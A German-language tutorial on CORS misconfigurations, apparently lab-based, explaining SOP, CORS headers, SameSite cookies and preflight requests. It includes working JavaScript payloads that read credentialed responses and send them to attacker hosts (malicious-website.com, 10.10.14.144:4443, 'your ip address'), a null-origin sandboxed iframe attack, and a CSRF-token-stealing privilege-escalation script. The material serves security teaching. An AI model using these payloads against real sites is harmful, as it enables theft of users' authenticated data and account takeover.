Skip to content

Cross Origin Ressource Sharing (CORS)

CORS kontrolliert den Zugriff auf externe Resourcen. Dafür erweitert es die Flexibilität von "same-origin policy (SOP)". Die SOP's Policy blockiert dabei den Zugriff für Javascript auf extern geladene Ressourcen. Die Anfragen werden aber trotzdem durchgeführt. So ist es auch möglich mithilfe von Javascript ein img Tag zu erstellen, welches ein Bild von einer externen Ressource lädt ohne geblockt zu werden. Allerdings bietet es auch die Möglichkeit für cross-domain attacken, wenn eine CORS Policy schlecht konfiguriert und implementiert ist. Dabei ist CORS kein Schutz gegen cross-origin Attacken, wie CSRF. CORS Da die same-origin policy sehr restriktiv ist und gewünschte Zugriffe auf externe Webseiten für manche Anwendungen benötigt wird, können mit der CORS Policy hierfür Regeln erstellt werden. Dafür hat die CORS mehrere Header, welche vertrauenswürdige Resourcen und zugehörige einstellungen.

Angriffe

Manche Anwendungen werden der einfachheit so implementiert, dass diese die Webseite aus der Origin auslesen und diese Webseite dann einfach in der CORS Policy erlauben:

Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
Diese header spezifizieren, dass der Zugriff auf die Domain erlaubt ist, und im zweiten Schritt, dass Cookies erlaubt sind. Um dieses Verhalten auszunutzen, kann der folgende Code benutzt werden:
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send();

function reqListener() {
    location='//malicious-website.com/log?key='+this.responseText; };

Fehler beim Parsen des Origin Headers

Manche Applikationen haben eine whitelist mit gültigen Domains. Oft werden dabei auch subdomains zugelassen. Diese Überprüfung kann fehlerhaft implementiert sein. Beispielsweise kann überprüft werden, ob die Domain mit normal-website.com endet. Ein Angreifer kann sich dann einfach die Domain hackersnormal-website.com registrieren. Auch kann es passieren, dass null zur Entwicklung gewhitelistet wird. Dieser Wert wird in den folgenden Fällen benutzt:

  • Cross-origin redirects
  • Anfragen von serializierten Daten
  • Anfragen mit dem file: Protokoll
  • Cross-origin Anfragen in der Sandbox

Eine Möglichkeit, dies auszunutzen, ist es ein iframe zu verwenden und den Inhalt zu sandboxen:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','vulnerable-website.com/sensitive-victim-data',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='malicious-website.com/log?key='+this.responseText;
    };
</script>"></iframe>

Ausnutzen der weniger restriktiveren navigation

Die Navigation ist weniger restriktiv, da es sich hierbei um Typische Nutzer Interaktionen handelt.
Sollte diese restriktiv sein ist die Benutzererfahrung schlechter.
Daher kann diese benutzt werden, wenn andere Methoden blockiert sind. So wird beispielsweise der folgende Request nicht von Cors blockiert, da es sich hier um einen Cors Request handelt. Auch die Sops erlaubt dieses Verhalten.

window.location = "https://site.htb/add/admin";

Ausnutzen der Vertrauensbeziehungen mit XSS

Hat ein Angreifer eine Website die anfällig gegenüber XSS ist und die von einer anderen als Vertrauenswürdig angesehen wird. Kann ein Angreifer Javascript nutzen, um von dieser Webseite sensible Informationen zu erhalten.

SameSite Cookie

Das SameSite Cookie sorgt dafür, dass Cookies nicht zu anderen Webseiten geschickt werden. Dabei gibt es drei Direktiven. Die Direktive None deaktiviert die SameSite Funktionalität. Allerdings funktioniert die Direktive bei manchen Browsern nicht, wenn nicht auch das Secure Flag mitgeschickt wird. Dann gibt es noch die Lax Direktive die cross site Anfragen verhindert. Bei dieser Direktive werden Cookies nur über sichere HTTP Methoden wie GET geschickt. Zudem werden die Cookies nur bei der Top-Level Navigation mitgesendet, also wenn der Benutzer auf einen Link klickt der zu einer anderen Webseite führt. Dabei ist die Lax Direktive die Standard Direktive. Als letztes gibt es noch die Strict Direktive. Bei der Strict Direktive werden die Cookies nur gesendet, wenn die Anfrage URL mit der des Cookies übereinstimmt.

Preflight Requests

Alle Anfragen die keine simplen Anfragen sind schicken einen sogenannten Preflight Request vorraus. Hierbei handelt es sich um eine Anfrage die die OPTIONS Methode und die drei Header: - Access-Control-Request-Method Informiert über die genutzte Request Methode der Anfrage - Access-Control-Request-Header Informiert über die genutzten Header der Anfrage cors preflight

TLS aufbrechen mit CORS

Eine Anwendung, die cross origin Anfragen von einer http Origin erlaubt kann Angegriffen werden. 1. Der Nutzer macht irgendeinen HTTP request. 2. Der Angreifer injiziert eine Weiterleitung zu http://trusted-subdomain.vulnerable-website.com 3. Der Angreifer fängt die Anfrage ab, die der Nutzer nun macht. 4. Der Angreifer gibt eine gespoofte Antwort zurück, welche eine CORS Anfrage zu der verwundbaren Webseite https://vulnerable-website.com enthält. 5. Der Browser des Nutzers macht eine CORS Anfrage mit der Origin http://trusted-subdomain.vulnerable-website.com 6. Die Anwendung erlaubt diese Anfrage, da sie gewhitelisted ist. 7. Die sensitiven Daten werden in der Antwort zurückgegeben. 8. Die gespoofte Webseite kann die sensiblen Daten lesen und zu jeder beliebigen Domain weiterleiten.

Intranets und CORS ohne Credentials

Die meisten CORS Angriffe, basieren auf der Anwesenheit des Antwort Headers:

Access-Control-Allow-Credentials: true
Ohne diesen Header verweigert der Browser es Cookies zu senden. Ohne diesen Header ist es für einen Angreifer nur möglich auf Zugriff, welcher kein Login benötigt. Es gibt hierfür nur eine Situation, wenn es trotzdem gut ist auf diese Seiten zuzugreifen. Bei einem Intranet, wo spezielle Resourcen auf einem privaten IP Addressbereich sind. Eine cross-origin Anfrage kann dabei wie folgt aussehen:
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
Und der Server mit dem folgenden Antwortet:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Dann kann der Browser der Opfers innerhalb des Netzwerkes als Proxy genutzt werden.

Sensible Daten trotz CORS

Ist es nicht möglich CSRF zu benutzen, können trotzdem sensible Daten exfiltriert werden. Dies zeigt das folgende Codebeispiel, welches zuerst eine sensible Seite öffnet und die Antwort dann an den Angreifer weiterleitet:

<html>
<head>
<script>
var url = "https://cors-sandbox/code";

function get_code() {
  fetch(url, {
    method: 'GET',
    mode: 'cors',
    credentials: 'include'
  })
  .then(response => response.json())
  .then(data => {
    fetch('http://your ip address/callback?' +  encodeURIComponent(JSON.stringify(data)), {
      mode: 'no-cors'
    });
  });
}

get_code();
</script>
</head>
<body></body>
</html>

Vertrauenswürdige null Herkunft

Der Access-Control-Allow-Origin Header erlaubt auch die Nutzung des null Wertes. Dieser Wert sollte nicht in der Praxis genutzt werden, falls doch kann dies sehr leicht ausgenutzt werden, indem der Origin Header auf null gesetzt wird. Dies ist beispielsweise in einer Sandbox möglich:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://cors-misconfigs.htb/data.php', true);
    xhr.withCredentials = true;
    xhr.onload = () => {
      location = 'https://10.10.14.144:4443/log?data=' + btoa(xhr.response);
    };
    xhr.send();
</script>"></iframe>

Umgehen von CSRF Token

Vorraussetzungen

Das Cookie muss die SameSite Direktive auf None setzen, der Cookie muss zudem das Secure Flag gesetzt haben. Zudem muss die Verbindung verschlüsselt sein.

Falls es eine CORS Fehlkonfiguration gibt kann es möglich sein CSRF zu umgehen. Dafür müssen Cookies bei einer Cross-Origin Anfrage mitgeschickt werden. Dann ist es möglich die Same-Origin policy und CSRF Verteidigungen zu umgehen.

<script>
    // GET CSRF token
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://bypassing-csrftokens.htb/profile.php', false);
    xhr.withCredentials = true;
    xhr.send();
    var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
    var csrftoken = encodeURIComponent(doc.getElementById('csrf').value);

    // do CSRF
    var csrf_req = new XMLHttpRequest();
    var params = `promote=htb-stdnt&csrf=${csrftoken}`;
    csrf_req.open('POST', 'https://bypassing-csrftokens.htb/profile.php', false);
    csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    csrf_req.withCredentials = true;
    csrf_req.send(params);
</script>